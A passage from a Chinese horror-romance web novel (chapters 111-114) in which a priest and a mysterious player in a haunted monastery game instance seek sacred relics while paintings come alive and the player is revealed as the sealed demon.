就在那个之前试图解释的女玩家,即将要逃出祷告室的瞬间。 她的视线,下意识地朝着那个依旧站在祭坛前的高大男人身上,瞥了一眼。 那眼神里,充满了复杂的情绪。 有同情,有怜悯。 但更多的,是一种混杂着幸灾乐祸的微妙快感。 这个不知道从哪里冒出来的家伙,胆子也太大了。 居然敢在S级副本的核心场景里,烧毁关键道具。 现在还被这个副本里,看起来权限最高的NPC,给逮了个正着。 他的下场一定会很凄惨。 想到这里,女玩家的心里,竟然莫名地感到了一丝诡异的平衡。 “砰——” 厚重的橡木门被他们重新关上。 就在这时。 肖靳言忽然像是卸下了所有的力气,打了个长长的哈欠。 他伸了个懒腰,那舒展的动作,让包裹在他身上的衣物,都绷出了一道充满了力量感的紧实弧度。 “神父。” 他转过头,看着那个依旧站在原地,一动不动的纤减肥影。 “我有点困了。” 他的声音里,带着一丝慵懒的沙哑。 “今晚我睡哪儿?” 宿珩当然知道他的意思。 也知道他这种看似随意的询问之下,所隐藏着的,是那种毫不掩饰的,充满了试探与挑逗的恶劣意图。 宿珩没有立刻回答。 他只是转过身,那双被烛火映照得如同笼着薄雾的眼眸,静静地看着他。 良久。 宿珩才终于开口。 “跟我来。” 听到这个回答,肖靳言那双深邃的黑眸里,瞬间漾开了一抹得逞的笑意。 他跟在宿珩的身后,迈着不紧不慢的步子,走出祷告室。 修道院的走廊,冗长而幽深。 冰冷的石壁上,每隔一段距离,便会有一支燃烧着的白色蜡烛,在古老的烛台上散发着微弱而昏黄的光。 很快。 宿珩在一扇看起来,比其他所有房间的门,都要更加朴素的木门前,停下了脚步。 他轻轻推开了那扇门。 “吱呀——” 木质门轴转动的声音响起。 门后的房间,不大。 甚至可以说,有些简陋。 房间里没有任何多余的装饰,只有冰冷的石质墙壁,和一扇狭长得,几乎无法透进任何光亮的彩色玻璃花窗。 一张小小的,由深色木料打造而成的书桌,安静地摆放在墙角。 桌上,放着一支燃烧了一半的蜡烛,和一本摊开的,不知道是什么内容的厚重书籍。 而就在这间,充满了禁欲与苦修气息的房间正中央。 摆放着一张,同样由深色木料打造而成的单人床。 床上,只铺着一张看起来质地有些粗糙的深灰色毛毯。 肖靳言跟在宿珩的身后,迈步走了进来。 他的视线,在房间里极其迅速地扫视了一圈。 最后落在了那张……窄得只够一个人躺下的单人床上。 他脸上的笑意,瞬间变得更加玩味。 “z啧啧……” 一声低笑从他喉咙深处缓缓溢出。 “看来今晚。” “咱俩,又要睡一起了。” 第112章 第 112 章 世界的悲鸣19 宿珩的脸上没有任何表情。 他只是沉默地转过身, “你先待在这里,不要乱走,我还有其他事。” 说完, 宿珩没有再给肖靳言任何开口的机会,径自迈开脚步,朝着门外走去。 他将房间里那个充满了侵略性气息的男人, 连同他那充满了占有欲的视线,都一同隔绝在了门后。 肖靳言看着那扇紧闭的门,脸上的笑意, 非但没有收敛, 反而变得更加浓郁。 罕见地, 他听从了宿珩的话,乖乖地待在了这里。 肖靳言慢条斯理地走到那张窄小的单人床边, 毫不客气地坐了下来。 他伸出手,轻轻抚摸了一下那张质地粗糙的深灰色毛毯。 上面,还残留着一丝,属于另一个人的, 清冷而干净的气息。 肖靳言忍无可忍, 埋首在毛毯中, 贪婪地深吸着其中残存的味道。 …… 宿珩走出房间, 重新回到了那条幽深而寂静的石质走廊里。 墙壁上,那些燃烧着的白色蜡烛, 将他的影子拉得忽长忽短,在冰冷的地面上, 像一个沉默的幽魂。 《圣言录》被毁。 封印着底下那只恶魔的力量,正在飞快地流逝。 宿珩能清晰地感觉到。 整座修道院的空气里,那股原本被神圣气息所压制着的, 阴冷黏腻的恶意,正在一点一点地,重新变得浓郁起来。 穿过长长的回廊,又走下一段盘旋而下的石质阶梯。 一扇比祷告室的门,更加古老,也更加厚重的巨大铁门,出现在了宿珩面前。 这里是修道院的藏书室。 宿珩伸出手,正准备推开那扇门。 一阵压抑着的交谈声,忽然从门后传了出来。 “……怎么办?那本《圣言录》被那个疯子给烧了!” “我们的主线任务,是不是……失败了?” “嘘!小声点!万一被那个神父听见怎么办!” “怕什么!他现在肯定在处理那个纵火犯,哪有空管我们!” “我总觉得……那个神父,比这个副本里的鬼,还要吓人……” 宿珩的动作,微微一顿。 他没有立刻推门进去,而是安静地站在门外,听着里面的动静。 “别吵了!” 那个像是队长的男人,压低了声音,呵斥道。 “任务提示上说,要找到‘圣阿加莎的三大圣物’,才能彻底净化恶魔。” “《圣言录》肯定就是其中之一,现在被毁了,我们必须找到另外两件!” “可是,我们连另外两件是什么都不知道,要去哪里找啊?” “线索上不是说了吗?‘答案,就藏在神圣的言语之中’,肯定就在这个藏书室里!” 听到这里。 宿珩不再犹豫。 他伸出手,猛地推开了那扇沉重的铁门。 藏书室里。 那四名正凑在一起,鬼鬼祟祟翻阅着书籍的玩家,被这突如其来的声响,吓得浑身一哆嗦。 他们猛地回过头。 当看到那个穿着黑色神父袍的,如同鬼魅般悄无声息出现在门口的身影时。 四个人脸上的血色,再一次,褪得一干二净。 完了。 这是他们脑海里,唯一剩下的念头。 “神……神父……” 为首的那个高大男人,手里的书“啪”地一声掉在了地上。 他脸上的表情,比哭还难看,结结巴巴地解释道。 “我……我们……我们只是对这里的历史比较感兴趣……” “想……想来查阅一下资料……” “绝对!绝对没有别的意思!” 他身后的几个人,也像被吓傻了的鹌鹑,拼命地点着头。 宿珩的视线,从他们那几张写满了惊恐的脸上,冷漠地扫过。 他没有理会他们那漏洞百出的辩解。 而是径自迈开脚步,走进了这间充满了古老墨香与灰尘味道的巨大藏书室。 一排又一排,顶天立地的高大书架,像沉默的巨人,将整个空间分割成了无数条,狭窄而幽深的通道。 空气里,弥漫着一种,时间沉淀下来的,腐朽而庄严的气息。 那四名玩家,看着他一步一步地走近。 感觉就像在看着,一尊即将要对他们降下神罚的,冰冷的神像。 他们甚至连呼吸,都下意识地屏住了。 然而。 宿珩只是从他们身边,目不斜视地走了过去。 仿佛他们只是四团无足轻重的空气。 直到宿珩的身影,彻底消失在了一排书架的后面。 那四名玩家,才像是终于从溺水的状态中挣脱出来,大口大口地,贪婪地呼吸着空气。 “吓……吓死我了……” 那个女玩家,拍着自己的胸口,声音里还带着后怕的颤抖。 “他……他没管我们?” “我们……是不是安全了?” “别掉以轻心!” 队长低声警告道。 “这个NPC太古怪了,谁知道他在想什么。” “我们赶紧找到线索,马上离开这里!” …… 另一边。 宿珩穿过迷宫般的书架,走到了藏书室的最深处。 这里,摆放着一张巨大的,由整块黑曜石打造而成的阅览桌。 桌面上,空无一物。 宿珩伸出手,指尖在冰冷的石质桌面上,轻轻拂过。 然后,他在桌子边缘,一个极其隐蔽的位置,找到了一个,与桌面上的星辰轨迹图,完全吻合的微小凹槽。 他伸出手指,在那凹槽上,不紧不慢地,按照某种特定的顺序,轻轻敲击了三下。 “叩,叩,叩。” 声音清脆。 紧接着。 “咔哒——” 一声轻微的机括转动声响起。 那张看起来浑然一体的黑曜石桌面,竟然从中间,无声地裂开了一道缝隙。 一本由黑色皮革包裹着,用银质搭扣锁住的古老典籍,从桌子内部,缓缓地升了上来。 宿珩伸出手,打开了那枚银质的搭扣。 他翻开了书页。 那上面记载的,并非是普通的文字。 而是一种,由无数个,充满了神圣与诡秘气息的古老符文,所构成的,晦涩难懂的篇章。 【圣阿加莎的三大圣物】 【圣血,荆棘之冠,圣言录。】 【圣血,封印于教堂地底,可洗涤世间一切罪恶。】 【荆棘之冠,藏于圣器室,由三百年前,第一任神父亲手编织,戴上它,便能获得与神明对话的资格,亦将承受,神明降下的无边苦痛。】 最后那本圣言录,刚被肖靳言烧了。 就在这时。 “轰隆隆——” 整座藏书室,连同外面的整个修道院,都开始剧烈地晃动了起来。 头顶有细碎的灰尘簌簌落下。 书架上那些厚重的典籍,也开始不受控制地,一本接一本地朝着地面上砸落。 “啊——!” 不远处,传来了那四名玩家,惊恐的尖叫声。 “地……地震了吗?!” “快跑!这里要塌了!” 一阵仓皇而混乱的脚步声,飞快地朝着门口的方向远去。 宿珩的脸上,却依旧没有任何表情。 他能清晰地感觉到。 一股比之前,要浓烈百倍的,充满了暴虐与疯狂的邪恶气息,正从修道院的地底深处,疯狂地涌出。 封印,快要撑不住了。 宿珩合上了手里的典籍。 他转过身,看向了藏书室墙壁上,那副描绘着圣阿加莎事迹的巨大壁画。 视线落在了壁画的右下角。 那个角落里,画着一间,摆满了各种圣杯与十字架的,小小的储藏室。 圣器室。 宿珩迈开脚步,径自朝着那面墙壁走了过去。 他没有理会身后那四名玩家惊慌失措的尖叫,也没有理会头顶那不断坠落的石块与灰尘。 他的世界里,仿佛只剩下了那面画着圣阿加莎事迹的巨大壁画,和他自己那沉稳得,不带一丝杂音的脚步声。 宿珩伸手摸到那微微凸起的储藏室位置,轻轻一按,圣器室的机关被拨开。 面前的石壁轰隆隆裂开,一道狭窄的通道出现在面前。 宿珩毫不犹豫,迈步走了进去。 就在这时,那四名玩家已经连滚带爬地冲出了藏书室的大门。 “快!快走!” 为首的队长一把推开门,冲着身后的队友们嘶吼道。 他们刚刚冲进幽深的回廊,还没来得及喘上一口气。 异变陡生。 走廊两侧的墙壁上,那些原本用来装饰的,描绘着历代神父与圣徒的古老画像,忽然像是活了过来。 画框里,那些神父原本慈悲安详的面容,开始以一种肉眼可见的速度,变得扭曲,狰狞。 他们的嘴角,咧开到了一个极其夸张的,非人的弧度。 他们的眼眶,变得空洞而漆黑,仿佛有什么东西,正从那片深不见底的黑暗里,疯狂地向外窥探。 “咯……咯……咯……” 一阵令人牙酸的,像是骨骼被强行扭断的声音,从那些画框里,清晰地响了起来。 “那……那是什么……” 那个女玩家指着墙上的画像,声音里充满了无法抑制的恐惧与颤抖。 她的话音刚落。 离她最近的一副画像里,那个原本应该在虔诚祈祷的神父,忽然猛地抬起了头。 他那张已经彻底扭曲成一团烂肉的脸,对准了那名女玩家。 下一秒。 一双干枯得如同鸡爪,指甲漆黑而锋利的手,猛地从画框里伸了出来,死死地抓住了女玩家的脚踝! “啊——!” 一声凄厉到几乎要刺破耳膜的惨叫,瞬间响彻了整条回廊。 女玩家整个人,都被那股巨大的力量,给狠狠地拖拽到了地上。 她惊恐地回头,只看到那副画,已经变成了一个深不见底的,散发着浓郁恶臭的黑色漩涡。 而那双抓着她的手,正试图将她,一点一点地,拖进那个充满了未知的,恐怖的画中世界! “救我!队长!救我!” 她伸出手,朝着自己的同伴,发出了绝望的求救。 队长脸色煞白,他想上前,可身体却像是被钉在了原地,根本无法动弹分毫。 恐惧,像一只冰冷的手,死死地扼住了他的喉咙。 就在这时,走廊里所有的画像,都开始发生了同样诡异的变化。 一只又一只,干枯苍白、腐烂的手,从那些画框里,争先恐后地伸了出来,抓向了离他们最近的猎物。 整座修道院,瞬间变成了一座,由绝望与恐惧所构筑而成的,人间炼狱。 …… 与此同时。 在修道院另一头,那间充满了禁欲与苦修气息的简陋房间里。 肖靳言正百无聊赖地躺在那张窄得只够一个人睡的单人床上。 整座修道院的剧烈晃动,并没有让他产生丝毫的惊慌。 他甚至还有闲情逸致地,伸出手,在那张质地粗糙的深灰色毛毯上,轻轻地摩挲着。 就在这时。 房间里那剧烈的晃动,忽然毫无征兆地,停了下来。 一切,都恢复了诡异的平静。 肖靳言的动作,微微一顿。 他缓缓地坐起身,视线落在了房间墙壁上,那个用普通木料雕刻而成的,小小的耶稣十字架上。 “咔哒。” 一声极其轻微的,仿佛是错觉般的声响。 那个象征着神圣与救赎的十字架,竟然缓缓地,在墙壁上,颠倒了过来。 变成了一个,代表着亵渎与恶魔的……倒十字。 空气里,那股原本还被压制着的神圣气息,在这一瞬间,彻底消散。 取而代之的—— 是一股浓郁到,几乎要凝结成实质的,冰冷暴虐、充满了疯狂与毁灭欲望的,纯粹的恶意。 那股恶意,像是找到了宣泄的出口,疯狂地从地底深处涌出,瞬间充斥了整个房间。 换作任何一个正常的玩家。 在面对如此诡异而恐怖的场景时,恐怕早就已经精神崩溃。 然而。 肖靳言的脸上,非但没有丝毫的恐惧。 反而,缓缓地向上翘起了一抹,充满了愉悦与期待的,诡异弧度。 “咚……咚……咚……” 他那颗沉寂已久的心脏,像是受到了某种,来自于灵魂深处的召唤。 开始不受控制地,一下又一下,剧烈跳动了起来。 那声音,沉闷得……如同恶魔即将破土而出的奏鸣曲。 “嗯……” 肖靳言忍不住,发出了一声极其轻微的,充满了压抑与满足的闷哼。 他伸出手,猛地捂住了自己那颗,几乎要跳出胸膛的心脏。 一股前所未有的,难以言喻的诡异兴奋感,像是一股黑色的岩浆,从他心脏的最深处,猛地喷涌而出。 瞬间席卷了他的四肢百骸。 那是一种,源自于血脉最深处的,对于混乱,对于毁灭,对于更加强大的力量的,极致的渴望。 那股力量,是如此的熟悉。 又是如此的……令人怀念。 他能清晰地感觉到。 自己身体里的每一个细胞,都在因为这股浓郁的恶意,而疯狂地叫嚣着,欢呼着。 仿佛一个离家多年的游子,终于回到了那个充满了黑暗与罪恶的……故乡。 一股浓郁到化不开的,纯粹的黑暗,从他的身体里,不受控制地向外弥漫。 将他整个人,都彻底包裹。 肖靳言缓缓抬起头。 他那双原本深邃漆黑的眼眸,此刻,已经被一种,更加纯粹,更加深沉的,不带一丝杂质的墨色,所彻底取代。 那里面,再也看不到一丝一毫属于人类的情感。 有的,只是对于即将到来的杀戮与混乱的,极致的,病态的亢奋。 他缓缓地站起身。 身体里那股蠢蠢欲动的,几乎要破体而出的力量,让他控制不住地,想要去破坏点什么。 想要去……撕碎点什么。 肖靳言的视线,落在了那扇紧闭着的,朴素的木门上。 他知道。 宿珩就在这扇门的外面。 那个总是冷着一张脸,却会在他面前,一次又一次,流露出真实情绪的,十分有趣的家伙。 一想到那个人。 肖靳言身体里那股,几乎要将他理智彻底吞噬的暴虐与疯狂,竟然奇迹般地被压制下去了几分。 他缓缓地勾起了嘴角。 不行。 还不是时候。 他不能……森*晚*整*理吓到他。 第113章 第 113 章 世界的悲鸣20 宿珩迈步走了进去。 面前是一条狭窄到只容一人通过的、盘旋向下的石阶。 石壁冰冷, 布满了湿滑腻人的青苔。 空气里,弥漫着一股尘封了数百年,混合着泥土与腐朽的古老味道。 宿珩的脚步声, 在这条死寂的通道里被无限放大,发出空洞而寂寥的回响。 他向下走了不知多久。 眼前,豁然开朗。 一间完全由粗糙巨石砌成的方形密室, 出现在他面前。 圣器室。 密室的四壁都嵌着古老的烛台,但上面的蜡烛早已燃尽,只剩下凝固如泪的黑色蜡油。 这里没有任何光源。 只有从宿珩身后那条通道里, 勉强透进来的、一丝可以忽略不计的微光。 房间的木架上, 摆满了各式各样、落满了厚厚灰尘的圣杯与十字架, 还有一些早已看不出原本用途的古老器皿。 宿珩的视线,没有在那些凡物上过多停留。 他径自走到了密室最深处, 那个唯一没有沾染任何尘埃的石台前。 石台上,安静地摆放着一个由紫檀木打造的、雕刻着繁复诡异花纹的盒子。 宿珩打开了盒盖。 一顶由干枯的,仿佛吸饱了怨毒血液的黑色荆棘,扭曲编织而成的冠冕, 正安静地躺在已经褪色的暗红色天鹅绒衬垫上。 荆棘之冠。 它看起来, 不像是能带来救赎的圣物。 反倒更像是什么邪恶仪式上, 所使用的, 被诅咒过的祭品。 宿珩伸出手。 就在他的指尖,即将要触碰到那顶冠冕的瞬间。 “啪——” 身后通道里, 那唯一的光源,毫无征兆地熄灭了。 伸手不见五指的黑暗, 瞬间吞噬了整个空间。 与此同时。 一股比之前在修道院任何地方感受到的,都要更加古老、更加纯粹的恐怖恶意,毫无征兆地降临在了这间小小的密室里。 宿珩的动作瞬间僵住。 他能清晰地感觉到。 就在他的面前。 出现了一个, 比这片极致的黑暗,还要更加深沉、更加粘稠的……高大黑影。 它就像一个凭空出现的人形黑洞,贪婪地吞噬着周围的一切,包括那本就不存在的光。 它没有实体。 像一个虚无的,不属于这个世界的幻影。 可宿珩却能清晰地听到,从那片虚无的黑暗之中,所传来的,沉重而粗粝的呼吸声。 那声音,不像是人类。 反倒更像是某种,体型巨大的爬行类生物,在喉咙深处,吞吐着充满了硫磺与铁锈气息的鼻息。 “嘶……嘶……” 甚至还有一阵,极其细微的,像是无数片细密的鳞甲,在相互摩擦时,所发出的令人头皮发麻的声响。 宿珩的身体,被一股无可抗拒的无形力量,给牢牢地禁锢在了原地。 他无法动弹。 甚至,连转动一下眼球都做不到。 只能被迫地,与那片近在咫尺的,充满了未知与死亡的黑暗,对视着。 时间,仿佛在这一刻被无限地拉长。 就在这时。 那个高大的黑影,缓缓地向他俯下了身。 一股带着浓郁血腥与腐烂铁锈味的湿热气息,扑面而来。 宿珩感觉到。 有什么东西,滚烫的,湿润的,带着细密倒刺的…… 从他的脸颊上……极其缓慢地,舔舐而过。 那触感,黏腻而粗糙,带着一种令人作呕的滑腻。 舌苔上那细小的倒刺刮过皮肤,带来一阵轻微却无比清晰的刺痛。 留下了一道,充满了极致屈辱与亵渎意味的,湿漉漉的痕迹。 宿珩的瞳孔,骤然一缩。 一股源自于灵魂深处的,冰冷到极致的恶寒,瞬间席卷了他的全身。 紧随其后的,是火山爆发般的,无声的暴怒。 他猛地握紧了拳头,用尽了全身的力气,强行挣脱了那股无形的束缚。 在挣脱的瞬间,他没有后退。 反而向前一步,伸出手,一把抓住了石台上那顶冰冷的荆棘之冠! 尖锐的荆棘,瞬间刺破了他手心的皮肤。 一丝鲜红的血液,从伤口处缓缓渗出,染上了那漆黑干枯的枝条,像是在诅咒之物上,烙下了属于自己的印记。 就在这时。 “呵呵……” 一声意味深长的,充满了病态愉悦与满足的低沉笑声,在宿珩的耳边,轰然炸响。 那声音,带着一种,仿佛能穿透灵魂的,诡异的魔力。 紧接着。 那股笼罩着整个密室的,令人窒息的恐怖威压,连同那个高大的黑影,都像是从未出现过一般,悄无声息地消散在了空气里。 束缚着宿珩身体的力量,也随之消失。 他猛地向后退了一步,后背重重地撞在了冰冷的石壁上,才勉强稳住身形。 他抬起手,用袖口用力地擦拭着自己刚才被触碰过的脸颊。 皮肤被擦得通红,甚至有些刺痛。 可那股湿滑黏腻的触感,却像是已经渗透进了皮肤里,怎么也擦不掉。 宿珩站在原地,胸口剧烈地起伏着,沉默了足足有十几秒。 他缓缓地低下头,看了一眼自己手里那顶沾染了他鲜血的荆棘之冠。 那只地下的恶魔。 祂在用极致的亵渎,来激怒他,让他主动用自己的血,去“唤醒”这顶冠冕。 祂在玩弄他。 …… 当宿珩重新回到藏书室的时候。 这里,已经变成了一片狼藉的废墟。 无数的书架倒塌在地,厚重的典籍散落得到处都是。 而就在这片废墟之外。 整座修道院,都已经被一片,充满了绝望与疯狂的尖叫声,所彻底笼罩。 “啊——!救命!别过来!” “它的手!它的手抓住我了!好冷!好冷啊!” “救我!我不想死——!” “跑!快跑啊!去大门口!” 那些分散在修道院各处,试图寻找线索的玩家们,此刻正像一群被狼群追赶的羔羊,在幽深而冗长的回廊里,仓皇地奔逃着。 他们的身后。 墙壁上那些描绘着圣徒与神父的古老画像,已经彻底活了过来。 一个又一个面容扭曲、身体腐烂的神职人员,正从那些画框里,挣扎着不断地爬出来。 它们的速度并不快。 却像一群不知疲倦的,来自地狱的索命鬼,不紧不慢地追逐着自己的猎物,享受着它们临死前的恐惧。 一个女玩家已经被彻底拖进了一副画里,只剩下一只手臂,还在外面绝望地挥舞着。 很快。 那只手臂,就被一只腐烂浮肿的手,给硬生生拽了进去。 画像的表面,泛起了一阵水波般的涟漪。 然后,一切都恢复了平静。仿佛什么都没有发生过。 这恐怖的一幕,已经彻底把幸存的玩家们吓破了胆。 他们疯狂地向后投掷着各种道具,借此阻止鬼怪追逐的脚步,甚至连回头看一眼自己同伴的勇气都没有。 只是一个劲地,拼命朝着修道院那扇紧闭的大门方向冲去。 …… 幽深的回廊里,回荡着绝望的惨叫与仓皇的脚步声。 刚从藏书室逃出来的四人玩家中的队长,此刻正拼了命地向前狂奔。 他的肺部,像是被点燃的炭火,每一次呼吸,都带着灼烧般的剧痛。 体力也正在飞快地流逝。 身后的脚步声越来越少,惨叫声却此起彼伏。 他知道,自己的队友,正在一个接一个地,被那些从画里爬出来的鬼东西,给拖进无边的黑暗里。 他不敢回头。 也不能回头。 恐惧,像无数只冰冷的触手,死死地攥住了他的心脏。 就在这时。 他脚下一个踉跄,整个人不受控制地,重重向前扑倒在地。 完了。 这个念头,在他脑海里轰然炸响。 他挣扎着想要爬起来,可双腿却像是灌了铅,沉重得根本不听使唤。 身后,那股令人作呕的腐臭气息,已经近在咫尺。 一阵令人牙酸的,骨骼摩擦的“咯咯”声,就在他的耳后响起。 他甚至能感觉到,有什么冰冷黏腻的液体,滴落在了他的后颈上。 男人僵硬地,一点一点地回过头。 一张彻底扭曲腐烂,已经看不出五官的脸,几乎要贴上他的鼻尖。 那双空洞的眼眶里,是深不见底的,纯粹的恶意。 一只干枯得如同鸡爪的手,缓缓地朝着他的脖子,伸了过来。 死亡的阴影,彻底将他笼罩。 男人绝望地闭上了眼睛。 然而。 预想中的剧痛,并没有传来。 “吱呀——” 一声轻微的,木门转动的声音,在这片死寂的绝望中,显得格外突兀。 男人猛地睁开眼。 只见他身旁,一扇原本紧闭着的木门,被人从里面,轻轻地推开了。 一道高大的身影,从门后的黑暗里,不紧不慢地走了出来。 那个男人,长相英俊硬朗,正是那个烧了圣言录的纵火犯。 他只是极其随意地站在那里。 可他身上散发出的那股强大而沉稳的气场,却像一道无形的屏障,瞬间将周围那股阴冷黏腻的恶意,都驱散了几分。 那个正准备掐断队长脖子的腐烂怪物,动作猛地一僵。 它缓缓地转过头,那双空洞的眼眶,对准了那个不速之客。 下一秒。 它像是看到了什么极其恐怖的东西。 那具由腐肉与枯骨构成的身体,竟然不受控制地,开始剧烈地颤抖了起来。 它发出了一声,充满了极致恐惧的尖啸。 然后扔下了近在咫尺的猎物,转身就想逃回身后的画框里。 可是,已经晚了。 “唰——” 一道雪亮的刀光,在昏暗的回廊里一闪而过。 速度快到了极致。 那个腐烂的怪物,甚至还没来得及跑出两步。 它的身体,便从中间,被无声地一分为二。 切口平滑如镜。 没有一丝鲜血流出。 那两截身体,在半空中,就已经化作了一滩,散发着恶臭的黑色液体,消散在了空气里。 肖靳言甩了甩手里那把造型古朴的黑色短刀,刀锋上没有沾染到任何污秽。 他收起刀,迈开脚步,走到了那个已经彻底吓傻了的男人面前。 他微微俯下身。 男人看着那张近在咫尺的英俊面孔,身体抖得像秋风里的落叶。 眼前这个男人,虽然救了他。 可他身上那股,若有若无的,比那些鬼东西,还要恐怖百倍的压迫感,却让他从灵魂深处,感到了战栗。 “见过神父吗?” 肖靳言开口,声音低沉而平稳。 听到这个问题,队长猛地愣了一下。 神父? 他脑海里,瞬间浮现出那个穿着黑色长袍,面容冷漠,比恶魔还要令人敬畏的身影。 “见……见过……” 他结结巴巴地回答道,声音抖得不成样子。 “在……在地下……藏书室……” “嗯。” 肖靳言得到了自己想要的答案,便直起身子,不再理会这个幸存者。 他道了声谢,转身朝着回廊的深处走去。 那背影,沉稳得仿佛不是走在一条充满了致命危险的回廊。 倒更像是,在自家的后花园里悠闲地散步。 男人瘫坐在地上,大口大口地喘着粗气,看着那个男人,一步一步走进那片被鬼怪盘踞的黑暗之中。 紧接着。 让他这辈子都无法忘记的一幕,发生了。 走廊两侧的墙壁上。 那些正从画框里,争先恐后向外攀爬的,面容扭曲的腐烂怪物。 在看到那个男人出现的瞬间。 所有的动作,都在一瞬间,彻底凝固了。 它们像是被按下了暂停键的劣质恐怖片。 然后。 它们不约而同地向后退缩,那已经彻底腐烂的身体,瑟瑟发抖。 它们小心翼翼地从墙壁上退了回去,重新缩回了各自的画框之中,空洞的眼眶里,流露出了一种,近乎于谄媚的极致恐惧。 甚至,还极其“体贴”地,为那个男人,让出了一条,足够宽敞的通道。 那个男人,就这样,畅通无阻地走在一条,由无数鬼怪,用恐惧与臣服,为他铺就的道路上。 肖靳言没有看那些怪物一眼。 仿佛那些足以让任何玩家精神崩溃的恐怖存在,对他而言,只是一群,无足轻重的,卑微的蝼蚁。 男人张大了嘴巴,呆呆地看着这一幕。 他的大脑,已经彻底陷入了一片空白。 这……这到底……是什么情况? …… 肖靳言很快便走到了藏书室门前。 巨大的铁门,正虚掩着。 他伸出手,轻轻一推。 门后的景象,和他预想中的差不多。 一片狼藉。 书架倒塌,典籍散落。 但是,这里并没有宿珩的身影。 “啧。” 肖靳言发出了一声,略带不爽的轻啧。 他站在原地,思忖了片刻。 宿珩既然来过这里,又没有在这里出事,那就说明,他一定是发现了什么,然后去了别的地方。 这个藏书室,已经是修道院地下的第一层。 那么……神父会在哪儿呢? 肖靳言的眉头,几不可察地轻轻蹙了一下。 他站在原地,闭上了眼睛。 他甚至没意识到,整座修道院,此刻就像一个在他脑海中,被精准构建出来的三维模型。 那些仓皇逃窜的玩家。 那些从画中爬出,又因为感知到他的存在而瑟瑟发抖地缩回去的,可悲的怨灵。 一切,都无所遁形。 除了……宿珩。 那个人的气息,就像是凭空消失了一样。 不。 不对。 肖靳言猛地睁开眼,视线落在了藏书室最深处,一处被倒塌书架所掩盖的地面上。 那里,有一道通往更深处的,向下的阶梯。 一股比地面上,要浓郁百倍的纯粹恶意,正从那深不见底的黑暗入口,缓缓地向上渗透。 那股恶意,冰冷暴虐,充满了疯狂与毁灭的欲望。 它让空气都变得黏稠,让光线都为之扭曲。 可当这股恶意,如同情人温柔的指尖,轻轻触碰到肖靳言的皮肤时。 他却舒服得几欲喟叹。 像是跋涉了千年的旅人,终于嗅到了故乡泥土的芬芳。 他身体里每一个细胞,都在这股熟悉的能量包裹下,发出了满足而愉悦的战栗。 找到了。 肖靳言的嘴角,缓缓向上勾起一抹弧度。 他迈开脚步,朝着那条通往地狱的阶梯,走了下去。 越是向下,那股邪恶的气息就越是浓郁。 这里,才是整座修道院的核心。 是那只被封印了三百年的恶魔,真正的巢穴。 走了不知道多久。 眼前,终于出现了一片,更加深沉的黑暗。 肖靳言迈出了最后一步。 一个巨大到,几乎超出了想象的地下空间,出现在了他的面前。 这里,是修道院的地下二层。 也是……祭坛的所在。 空气里,那股浓郁到几乎要凝结成实质的恶意,像温暖的潮水,将他整个人都彻底包裹。 肖靳言贪婪地深吸了一口气。 他环顾四周。 遍地狼藉。 无数由纯银打造的十字架,像是被什么巨力给生生折断,碎片散落得到处都是。 盛放圣水的器皿,早已被打翻。 那些本该能净化一切污秽的圣水,在接触到这片被彻底污染的地面时,发出了“滋滋”的声响,冒着白烟,被迅速地蒸发,腐蚀。 仿佛它们才是不该存在于此的污秽之物。 而就在这片,如同神明陨落后的惨烈战场正中央。 矗立着一座,由不知名黑色巨石打造而成的,宏伟的圆形祭坛。 肖靳言的视线,穿过那片弥漫的,充满了硫磺气息的黑色雾气,落在了祭坛之上。 他的呼吸,猛地一滞。 他看到了那个让他找了这么久的人。 神父。 他就安静地站在那座,充满了亵渎与不详气息的黑色祭坛最中央。 身上,依旧穿着那件,将他从头到脚都包裹得严严实实的,款式古板的黑色神父袍。 只是。 在他的头上。 戴着一顶,由无数根漆黑的,仿佛吸饱了鲜血的荆棘,所扭曲编织而成的……王冠。 尖锐的荆棘,刺破了他光洁的额角。 一缕鲜红的血珠,正顺着他那苍白得,几乎没有一丝血色的脸颊轮廓,缓缓地向下流淌。 最终,滴落在他那身,比夜色还要深沉的黑色长袍上,洇开一朵,微不可察的血花。 那画面…… 神圣。 禁欲。 却又带着一种,将圣洁之物,亲手拖入深渊,染上罪孽的,极致的堕落与妖异的美感。 他不像是一个,即将要净化恶魔的神父。 倒更像是…… 从沉睡了千年的黑暗深渊之中,缓缓苏醒的。 某个古老邪神的……新娘。 肖靳言几乎要控制不住自己的心跳。 一个疯狂的声音在他脑海中叫嚣: “把他狠狠按在地上……” “亲吻他!” “占有他!” “让他喘!” “让他哭!” 这些声音如同鬼魅般回荡在耳边,肖靳言晃了晃脑袋,他似乎都没意识到,这声音源自何处。 同样也没意识到,自己脚下的影子不再是人形。 它像一只巨大的蜥蜴。 正在……蠕动。 肖靳言终于抬起了眸,咧嘴看向不远处的宿珩。 不知何时—— 那双黑沉的戏谑眸子……早已变得漆黑一片。 第114章 第 114 章 世界的悲鸣21 宿珩站在祭坛中央。 他明显察觉到了那道视线里的不对劲。 那不再是肖靳言惯有的, 带着几分慵懒的,充满了侵略性与占有欲的审视。 而是一种,更加纯粹, 更加原始,也更加……饥饿的眼神。 像一头被囚禁了千年的,嗜血的凶兽。 终于看到了那个, 能让它彻底挣脱所有枷锁的……唯一的祭品。 那股几乎要凝成实质的恶意,并非来自于这座祭坛,也并非来自于地底那只所谓的恶魔。 而是源自于……眼前的肖靳言。 或者说—— 肖靳言其实才是修道院镇压着的那个恶魔。 如此看来, 他烧毁圣言录, 显然是有意为之。 “肖靳言?” 宿珩垂眸, 望向肖靳言脚下那片越发庞大和臃肿的怪异影子,声音里透出一丝连他自己都未曾察觉到的紧绷。 他头上荆棘之冠的尖锐倒刺, 仿佛感受到了他情绪的波动,又向内收紧了几分。 刺破皮肉的痛感,变得更加清晰。 肖靳言没有回答。 他只是缓缓向上翘起了嘴角。 那是一个充满了残忍与愉悦的笑容。 他伸出舌尖,舔舐了一下自己干燥的嘴唇。 一个充满了暗示与欲望的动作。 宿珩瞳孔骤然一缩。 他看到, 在肖靳言的身后, 那个被昏暗光线拉得无比巨大的黑色影子, 正以一种极其诡异的姿态, 疯狂蠕动。 那丑陋的轮廓,那滑腻的质感…… 宿珩瞬间想起了在圣器室里, 那条舔舐过他脸颊的滚烫舌头。 而就在这时。 肖靳言脑海中,那道充满了蛊惑的诡异声音, 仍在疯狂叫嚣。 “多美啊……” “看看他……” “看看那双眼睛,那沾着血的脸颊……” “那是为你而戴上的冠冕……” “他是你的了……” “去吧……” “去占有他,撕碎他, 让他为你哭泣,为你呻吟……” “让他彻底地……成为你的一部分……” 